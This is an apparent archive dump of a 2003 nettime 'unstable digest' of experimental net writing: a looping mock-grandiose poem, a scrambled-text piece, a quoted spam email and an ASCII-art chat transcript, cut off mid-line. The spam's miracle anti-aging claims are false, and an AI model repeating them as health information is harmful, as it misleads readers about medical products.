assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nand all dichotomies of war and peace and life and death\na form of cultural strengthening\n/[w]+/ { \"a form of cultural strengthening\" }\ni want to be completely understood\nmy writings are transformed daily\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\na form of cultural strengthening\n/[x]+/ { \"carrying you forward through emotional love\" }\ni want to be completely understood\nmy writings are transformed daily\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfrom one moment to another\ncarrying with them emotional and apocalyptic import\nfurther and beyond this my originality\nshould never be in doubt, as well as\nto now among all the literatures of the world\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nswallowed whole you will comprehend\nboth pure and impure\nand all dichotomies of war and peace and life and death\na form of cultural strengthening\ncarrying you forward through emotional love\ninto true comprehension\n/[y]+/ { \"into true comprehension\" }\nmy writings are transformed daily\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nshould never be in doubt, as well as\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nswallowed whole you will comprehend\nboth pure and impure\ninto true comprehension\n/[z]+/ { \"that purity and impurity are one\" }\ni want to be completely understood\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nshould never be in doubt, as well as\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nso you better watch out and better not shout\nand if there are laws they are broken\nswallowed whole you will comprehend\nboth pure and impure\ninto true comprehension\nthat purity and impurity are one\n/[0]+/ { \"and you are AB.BA.HI.A.sondheim\" }\ni want to be completely understood\ninto inconceivable philosophies and psychologies\nso that the style is based on sememes transforming\nfurther and beyond this my originality\nshould never be in doubt, as well as\nif you read me assiduously\nyou will certainly find enlightenment\nnot just every now and then but constantly\nand if there are laws they are broken\nand if there are rocks they are dusts and radiations\nboth pure and impure\ninto true comprehension\nand you are AB.BA.HI.A.sondheim\n\n\n\n\nDate:         Sat, 19 Apr 2003 23:27:21 +0200\nFrom: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\nSubject: wryting week\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n . . . . . . . . susu heCa verr line mean nout eads eply elli tund uldt hewr\neabo ntab uti' n'tr iter outt eads stse on't dthe seth syou etur want 'swe post\noudo back edad onee idea usen dCou i'mt n'te onew venr keel dmor hepo orky ldyo\nntob each work hrea irdd alfe s erwh that work nedi iswo utho seet oner wi'v\nveru atco . . . butI digr ess . . . . . . . . . . . . . . . . . . . that 'swe\nirdd on't seet hepo stse ntab outt heCa tund erwh atco uldt hrea dCou ldyo usen\ndthe post back oner eads onee verr eads i'mt hewr iter onew orky oudo n'tr eply\nwork work mean syou want edad dmor eabo utho wi'v etur nedi ntob uti' veru nout\nidea susu alfe elli keel seth iswo n'te venr each line s . . . . . . . . --\n   .\n   .\n   .\n   .\n   .\n   .\n   .\n   .\n   susu heCa verr line mean nout\n   eads eply elli tund uldt hewr\n   eabo ntab uti' n'tr iter outt\n   eads stse on't dthe seth syou\n   etur want 'swe post oudo back\n   edad onee idea usen dCou i'mt\n   n'te onew venr keel dmor hepo\n   orky ldyo ntob each work hrea\n   irdd alfe s erwh that work\n   nedi iswo utho seet oner wi'v\n   veru atco\n   .\n   .\n . butI digr ess. . . . . . . . . . . . . . . . .\n   .\n   .\n   that 'swe irdd on't seet hepo\n   stse ntab outt heCa tund erwh\n   atco uldt hrea dCou ldyo usen\n   dthe post back oner eads onee\n   verr eads i'mt hewr iter onew\n   orky oudo n'tr eply work work\n   mean syou want edad dmor eabo\n   utho wi'v etur nedi ntob uti'\n   veru nout idea susu alfe elli\n   keel seth iswo n'te venr each\n   line s   \n   .\n   .\n   .\n   .\n   .\n   .\n   .\n   .\n\n\n\n\nnettime unstable digest vol 44\nepoetry 2003 emergency edition\nSat Apr 26 19:01:27 2003\n\n\nSubject: nihon notes:\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: vopros o Fa6XMQkOvQl (gmx)\n    From: Terra <terra {AT} outdoor.spb.ru>\n    To: Paragram <paragram {AT} gmx.net>\n\nSubject: wryting week\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\n\n    From: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 26 Apr 2003 19:02:39 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200304272231.h3RMVkG25297 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0304/msg00109.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 44"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00082",
                "content": "\nFrom: Debbie Gelinas <Leoogwn {AT} anet.ne.jp>\nTo: <paragram {AT} gmx.net>\nSubject: Do it now paragram , you'll be hot this summer (gmx)\nDate: Tue, 15 Apr 2003 06:57:04 -0700\n\nbr> As seen on N\ndAd Adzi z*08F3>B\ndAd Adzi z*08F3>C, C\ndAd Adzi z*08F3>B\ndAd Adzi z*08F3>S, C\ndAd Adzi z*08F3>N\ndAd Adzi z*08F3>N, and even O\ndAd Adzi z*08F3>p\ndAd Adzi z*08F3>rah.\nAs reported on in the New En\ndAd Adzi z*08F3>gland Jou\ndAd Adzi z*08F3>rnal of Medi\ndAd Adzi z*08F3>cine.\nReverses ag\ndAd Adzi z*08F3>ing while bur\ndAd Adzi z*08F3>ning f\ndAd Adzi z*08F3>at, without dieting or exercise.\nForget aging and die\ndAd Adzi z*08F3>ting forever And it's Gu\ndAd Adzi z*08F3>arant\ndAd Adzi z*08F3>eed!\n\n1.Body F\ndAd Adzi z*08F3>at Lo\ndAd Adzi z*08F3>ss\n2.Wr\ndAd Adzi z*08F3>inkle Reduc\ndAd Adzi z*08F3>tion\n3.Increased Ene\ndAd Adzi z*08F3>rgy Levels\n4.Mus\ndAd Adzi z*08F3>cle Stre\ndAd Adzi z*08F3>ngth impro\ndAd Adzi z*08F3>vement\n5.Incr\ndAd Adzi z*08F3>eased Se\ndAd Adzi z*08F3>xual Pot\ndAd Adzi z*08F3>ency\n6.Imp\ndAd Adzi z*08F3>roved Emoti\ndAd Adzi z*08F3>onal Stab\ndAd Adzi z*08F3>ility\n7.B\ndAd Adzi z*08F3>et\ndAd Adzi z*08F3>ter Me\ndAd Adzi z*08F3>mory\n\nLo\ndAd Adzi z*08F3>se wei\ndAd Adzi z*08F3>ght while bui\ndAd Adzi z*08F3>lding le\ndAd Adzi z*08F3>an mus\ndAd Adzi z*08F3>cle ma\ndAd Adzi z*08F3>ss\nand reve\ndAd Adzi z*08F3>rsing the rav\ndAd Adzi z*08F3>ages of aging all at once.\n\nPlease_visdAd_Adzi_z*08F3>it_our_webdAd_Adzi_z*08F3>sidAd_Adzi_z*08F3>te_to\nledAd_Adzi_z*08F3>arn_the_fadAd_Adzi_z*08F3>cts_about_this_quadAd_Adzi\nz*08F3>lity_headAd_Adzi_z*08F3>lth_prodAd_Adzi_z*08F3>duct\nand_vidAd_Adzi_z*08F3>ew_our_absdAd_Adzi_z*08F3>olute_satisdAd_Adzi\nz*08F3>faction_guadAd_Adzi_z*08F3>rantee_click_here\n\n\n\n\nTo_udAd_Adzi_z*08F3>nsdAd_Adzi_z*08F3>udAd_Adzi_z*08F3>bsdAd_Adzi_z*08F3>crdAd\nAdzi_z*08F3>ibdAd_Adzi_z*08F3>e,_click_here\n\n\nDate: Tue, 15 Apr 2003 13:11:10 -0700\nSubject: KMSE 04.15.03\nFrom: Kenric McDowell <kenricm {AT} mindspring.com>\nTo: kenric {AT} artslut.org\n\n\n\nKenric McDowell's Secret Excretion 04.15.03\n------------------------------------------------------------\n\nTranscript of Anonymous Collaborative Ascii Improvisation in the =20\nSoulSeek gl.tch Discussion Forum\n\"Was war die Frage?/What was the question?\"\n\n-------------------------------------------------------------\n\n* Entered room gl.tch\n[silentsprawl] ___________________________(\n[silentsprawl] ___________________(\n[radioattack] ich bin radioattack\n[silentsprawl] ) /_/ /_/ / /_/ / / / / __/ / \\____/_/ /_/_/ =20\n/_/____/\\__/\\____/ .___/_/ /_/\\___/_/ __ __ /_/ _ / /___ / /_ ____ =20\n_________ ____ ( )_____ __ / / __ \\/ __ \\/ __ \\/ ___/ __ \\/ __ \\|// =20\n___/ / /_/ / /_/ / / / / / / (__ ) /_/ / / / / (__ )\n[silentsprawl] / /___ / /_ ____ _________ ____ ( )_____ __ / / __ \\/ __ =20=\n\n\\/ __ \\/ ___/ __ \\/ __ \\|// ___/\n[silentsprawl] .-\"''-. _ /\n[silentsprawl] .-\"''-. _\n[silentsprawl] .-\"''-. _\n[silentsprawl] .-\"''-. _\n[silentsprawl] .~ `\\ ~~`__/ / ~ `--'/ / / / / /' /j\n[silentsprawl] / 66\\ | \\c -_) |~~~\n[silentsprawl] $ $$$$$ $ 4$$$$$$$ F d$$$. 4 $ $$$$$ $ 4$$$$$$$ L *$$$\" =20=\n\n4 4 \" \"\"3P =3D=3D=3D$$$$$$\" 3 P * $ \"\"\" b J \". .P %.  {AT}  %. z*\" ^%. .r\" =\n\"*=3D=3D*\"\" =20\n^\"*=3D=3D*\"\"\n[silentsprawl] .zree. .\"F $ $%  {AT}  F $ $ . J...L..$..$..J F $ $ ) =20\nJ=3D=3D=3D=3DP=3D=3D$=3D=3D$=3D=3D=3D=3D F F $ $ . P=3D=3D=3D=3DP=3D=3D$=3D=\n=3D$=3D=3D=3D=3D% b F $ $ 4\"\"\"\"F\"\"$\"\"$\"\"\"3\n[silentsprawl] Searched the web for $ $$$$$ $ =20\n</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/=20\nsearch%3Fq%3D4%26r%3D67>$$$$$$$ F d =20\n</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/=20\nsearch%3Fq%3Dfd%26r%3D67>$$$. =20\n</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3D4%26r%3D=\n67> =20\n$ $$$$$ $ =20\n</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/=20\nsearch%3Fq%3D4%26r%3D67>$$$$$$$ =20\n</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3Dl%26r%3D=\n67> =20\n*$$$\" 4 =20\n</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3D4%26r%3D=\n67> =20\n\" \"\"3P =20\n</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/=20\nsearch%3Fq%3D3p%26r%3D67> =3D=3D=3D$$=09\n[silentsprawl] ... be$F.$L\")z$$$beL $ 4$$$ec. $$$$Fd$$$$$e$$$$$P\n[silentsprawl] Cached =20\n<http://216.239.57.100/search?q=3Dcache:pdnC2lfJRrYC:/qq/pic/=20\nPIC081.txt+%24+%24%24%24%24%24+%24+4%24%24%24%24%24%24%24+F+d%24%24%24.+=20=\n\n4+%24+%24%24%24%24%24+%24+4%24%24%24%24%24%24%24+L+*%24%24%24%22+4+4+%22=20=\n\n+%22%223P+%3D%3D%3D%24%24%24%24%24%24%22+3+P+*+%24+%22%22%22+b+J+%22.+.P=20=\n\n+%25.+%40+%25.+z*%22+%5E%25.+.r%22+%22*%3D%3D*%22%22+%5E%22*%3D%3D*%22%2=20=\n\n2&hl=3Den&ie=3DUTF-8> - Similar pages =20\n</search?hl=3Den&lr=3D&ie=3DUTF-8&oe=3DUTF-8&q=3Drelated:/qq/pic/PIC081.tx=\nt>\n[silentsprawl] ... E > )$ 5 ',$ 46 3 \" > 5 D/ %$ 5 &3K L 9:MZ4 ... 5 % =20=\n\n<RTO -/$3!# E 84( ' $ 4(',\n[silentsprawl] $ 5 ',$ 46 3 \" >\n[silentsprawl] $ 5 ',$ 46 3 \" >\n[silentsprawl] $ 5 ',$ 46 3 \" >\n[silentsprawl] $ 5 ',$ 46 3 \" >\n[silentsprawl] $ 5 ',$ 46 3 \" >\n[silentsprawl] $ 5 ',$ 46 3 \" >\n[silentsprawl] $ 5 ',$ 46 3 \" ><\"364$.5'\n[radioattack] no\n[silentsprawl] >\n[silentsprawl] 20Implememtation%20of%20%20DLFs\n[radioattack] [~~* Carita *~~] is it good, gubble?\n[silentsprawl] =C2=AA=E2=88=82=E2=80=9D=E2=89=A0=CF=80=E2=80=9A=C2=A1=C5=B8=\n=E2=80=9C=E2=81=84=E2=80=9D=C2=A0=C3=95=C2=AF =\n<http://www.ejiyou.net/showdoc.asp?2307>\n[silentsprawl] ? ... ? l L ( D ... 4P  {AT} 4  {AT} 5 ...\n[silentsprawl] =7FELF 4 ? 4 ( 4  {AT}  4  {AT}  4 p\n[silentsprawl]                                 .,;;;;,,.         .,,.\n[silentsprawl] ,<!!!!!!!!!!!!!!!>: :!!!!!!!!!!,\n[silentsprawl] .,;;;;,,.\n[silentsprawl]               .,;;;;,,.\n[silentsprawl]                                        .,;;;;,,.\n[silentsprawl]                                      .,;;;;,,.\n[silentsprawl]                .,;;;;,,.\n[silentsprawl]                                 .,;;;;,,.\n[silentsprawl] '$$$C.\n[silentsprawl] \". ?, d$$P\" ,c$$$$$c. 4MMCCCMnn, x\" `\\. =20\n`\"??\",d$$$$$$$$$$$$ MMTTC3M\"` 4F J, ,$$$$$$$$$$$$$$$$$.\"\"\"\"?? $ _,-' =20\n.c$$$$$$$$$$$$$$$$$$$$$$$u `R$._,-' .,$$$$$$$$$$$$$$PF ,ze,<$$$$$$ =20\n_-'z$$$$$$$$$$$$$PF' c$$d d$$$$$$$$$$$ __,-' '?$$$$F t 4$;'d$$$$\n[silentsprawl] .,;;;;,,. .,,. ,;;<!!!;> ,<!!!!!!!!!!!!!!!>: =20\n:!!!!!!!!!!,\n[silentsprawl] .,;;;;,,. .,,. ,;;<!!!!!!!!!!!!!!!>: :!!!!!!!!!!,\n[silentsprawl]  :!!!!!!!!!!,\n[silentsprawl] X55$$$$$X!:!!Xd3$$$$$$$$X-x> `!' .;!!?;;<XXX!!!!!!!:\n[silentsprawl] .;!XX5$$$$$$$X?!!HX$$$$33X$$$F;,;!\" =20\n:);,,`''<!!!!!!!!!!!:.\n[silentsprawl] $eed$P'zdP e'bmnMMMMMMMMMMP\n[silentsprawl] ..''''.;,;> !!;\n[silentsprawl] .!,. !!! '\\ ` \"\n[silentsprawl] !;> ..<;,.!!!!!<>`<!! ,;!!!!''`'\n[silentsprawl] JMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb `!! !!! !! JM\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. =20=\n\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n[silentsprawl] ,. \"\"\n[radioattack] [dj1adam12] cause i'm your daddy bitch\n[radioattack] [dj1adam12] you got 2 needle dick\n[vargind] was?\n[utopiantheorist] Was war die Frage?\n\n-------------------------------------------------------------\n\n\n\n\n\n\n\n--Apple-Mail-5--884173175\nContent-Type: text/enriched;\n\tcharset=UTF-8\n\n<fontfamily><param>Hiragino Kaku Gothic Pro</param>Kenric McDowell's\nSecret Excretion 04.15.03\n\n------------------------------------------------------------\n\n\nTranscript of Anonymous Collaborative Ascii Improvisation in the\nSoulSeek gl.tch Discussion Forum\n\n\"Was war die Frage?/What was the question?\"\n\n\n-------------------------------------------------------------\n\n\n* Entered room gl.tch\n\n[silentsprawl] ___________________________(\n\n[silentsprawl] ___________________(\n\n[radioattack] ich bin radioattack\n\n[silentsprawl] ) /_/ /_/ / /_/ / / / / __/ / \\____/_/ /_/_/\n/_/____/\\__/\\____/ .___/_/ /_/\\___/_/ __ __ /_/ _ / /___ / /_ ____\n_________ ____ ( )_____ __ / / __ \\/ __ \\/ __ \\/ ___/ __ \\/ __ \\|//\n___/ / /_/ / /_/ / / / / / / (__ ) /_/ / / / / (__ )=20\n\n[silentsprawl] / /___ / /_ ____ _________ ____ ( )_____ __ / / __ \\/\n__ \\/ __ \\/ ___/ __ \\/ __ \\|// ___/\n\n[silentsprawl] .-\"''-. _ /\n\n[silentsprawl] .-\"''-. _=20\n\n[silentsprawl] .-\"''-. _=20\n\n[silentsprawl] .-\"''-. _=20\n\n[silentsprawl] .~ `\\ ~~`__/ / ~ `--'/ / / / / /' /j\n\n[silentsprawl] / 66\\ | \\c -_) |~~~=20\n\n[silentsprawl] $ $$$$$ $ 4$$$$$$$ F d$$$. 4 $ $$$$$ $ 4$$$$$$$ L *$$$\"\n4 4 \" \"\"3P =3D=3D=3D$$$$$$\" 3 P * $ \"\"\" b J \". .P %.  {AT}  %. z*\" ^%. .r\"\n\"*=3D=3D*\"\" ^\"*=3D=3D*\"\"\n\n[silentsprawl] .zree. .\"F $ $%  {AT}  F $ $ . J...L..$..$..J F $ $ )\nJ=3D=3D=3D=3DP=3D=3D$=3D=3D$=3D=3D=3D=3D F F $ $ . P=3D=3D=3D=3DP=3D=3D$=3D=\n=3D$=3D=3D=3D=3D% b F $ $ 4\"\"\"\"F\"\"$\"\"$\"\"\"3=20\n\n[silentsprawl] Searched the web for $ $$$$$ $\n=\n<</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3D4%26r%3=\nD67>$$$$$$$\nF d\n=\n<</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3Dfd%26r%=\n3D67>$$$.\n<</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3D4%26r%3=\nD67>\n$ $$$$$ $\n=\n<</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3D4%26r%3=\nD67>$$$$$$$\n<</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3Dl%26r%3=\nD67>\n*$$$\" 4\n<</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3D4%26r%3=\nD67>\n\" \"\"3P\n=\n<</url?sa=3DX&oi=3Ddict&q=3Dhttp://www.dictionary.com/search%3Fq%3D3p%26r%=\n3D67>\n=3D=3D=3D$$=09\n\n[silentsprawl] ... be$F.$L\")z$$$beL $ 4$$$ec. $$$$Fd$$$$$e$$$$$P\n\n[silentsprawl] Cached\n=\n<<http://216.239.57.100/search?q=3Dcache:pdnC2lfJRrYC:/qq/pic/PIC081.txt+%=\n24+%24%24%24%24%24+%24+4%24%24%24%24%24%24%24+F+d%24%24%24.+4+%24+%24%24%2=\n4%24%24+%24+4%24%24%24%24%24%24%24+L+*%24%24%24%22+4+4+%22+%22%223P+%3D%3D=\n%3D%24%24%24%24%24%24%22+3+P+*+%24+%22%22%22+b+J+%22.+.P+%25.+%40+%25.+z*%=\n22+%5E%25.+.r%22+%22*%3D%3D*%22%22+%5E%22*%3D%3D*%22%22&hl=3Den&ie=3DUTF-8=\n>\n- Similar pages\n<</search?hl=3Den&lr=3D&ie=3DUTF-8&oe=3DUTF-8&q=3Drelated:/qq/pic/PIC081.t=\nxt>=20\n\n[silentsprawl] ... E > )$ 5 ',$ 46 3 \" > 5 D/ %$ 5 &3K L 9:MZ4 ... 5 %\n<<RTO -/$3!# E 84( ' $ 4(',=20\n\n[silentsprawl] $ 5 ',$ 46 3 \" >\n\n[silentsprawl] $ 5 ',$ 46 3 \" >\n\n[silentsprawl] $ 5 ',$ 46 3 \" >\n\n[silentsprawl] $ 5 ',$ 46 3 \" >\n\n[silentsprawl] $ 5 ',$ 46 3 \" >\n\n[silentsprawl] $ 5 ',$ 46 3 \" >\n\n[silentsprawl] $ 5 ',$ 46 3 \" ><<\"364$.5'\n\n[radioattack] no\n\n[silentsprawl] >\n\n[silentsprawl] 20Implememtation%20of%20%20DLFs\n\n[radioattack] [~~* Carita *~~] is it good, gubble?\n\n[silentsprawl] =C2=AA=E2=88=82=E2=80=9D=E2=89=A0=CF=80=E2=80=9A=C2=A1=C5=B8=\n=E2=80=9C=E2=81=84=E2=80=9D=C2=A0=C3=95=C2=AF =\n<<http://www.ejiyou.net/showdoc.asp?2307>\n\n[silentsprawl] ? ... ? l L ( D ... 4P  {AT} 4  {AT} 5 ...=20\n\n[silentsprawl] =7FELF 4 ? 4 ( 4  {AT}  4  {AT}  4 p\n\n[silentsprawl]                                 .,;;;;,,.       =20\n.,,.\n\n[silentsprawl] ,<<!!!!!!!!!!!!!!!>: :!!!!!!!!!!,\n\n[silentsprawl] .,;;;;,,.=20\n\n[silentsprawl]               .,;;;;,,.=20\n\n[silentsprawl]                                        .,;;;;,,. =20\n\n[silentsprawl]                                      .,;;;;,,.=20\n\n[silentsprawl]                .,;;;;,,.=20\n\n[silentsprawl]                                 .,;;;;,,.=20\n\n[silentsprawl] '$$$C.=20\n\n[silentsprawl] \". ?, d$$P\" ,c$$$$$c. 4MMCCCMnn, x\" `\\.\n`\"??\",d$$$$$$$$$$$$ MMTTC3M\"` 4F J, ,$$$$$$$$$$$$$$$$$.\"\"\"\"?? $ _,-'\n.c$$$$$$$$$$$$$$$$$$$$$$$u `R$._,-' .,$$$$$$$$$$$$$$PF ,ze,<<$$$$$$\n_-'z$$$$$$$$$$$$$PF' c$$d d$$$$$$$$$$$ __,-' '?$$$$F t 4$;'d$$$$\n\n[silentsprawl] .,;;;;,,. .,,. ,;;<<!!!;> ,<<!!!!!!!!!!!!!!!>:\n:!!!!!!!!!!,=20\n\n[silentsprawl] .,;;;;,,. .,,. ,;;<<!!!!!!!!!!!!!!!>: :!!!!!!!!!!,=20\n\n[silentsprawl]  :!!!!!!!!!!,=20\n\n[silentsprawl] X55$$$$$X!:!!Xd3$$$$$$$$X-x> `!' .;!!?;;<<XXX!!!!!!!:\n\n[silentsprawl] .;!XX5$$$$$$$X?!!HX$$$$33X$$$F;,;!\"\n:);,,`''<<!!!!!!!!!!!:.=20\n\n[silentsprawl] $eed$P'zdP e'bmnMMMMMMMMMMP\n\n[silentsprawl] ..''''.;,;> !!;\n\n[silentsprawl] .!,. !!! '\\ ` \"=20\n\n[silentsprawl] !;> ..<<;,.!!!!!<<>`<<!! ,;!!!!''`'\n\n[silentsprawl] JMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb `!! !!! !! JM\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"\n,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,.\n\"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\" ,. \"\"=20\n\n[silentsprawl] ,. \"\" ,. 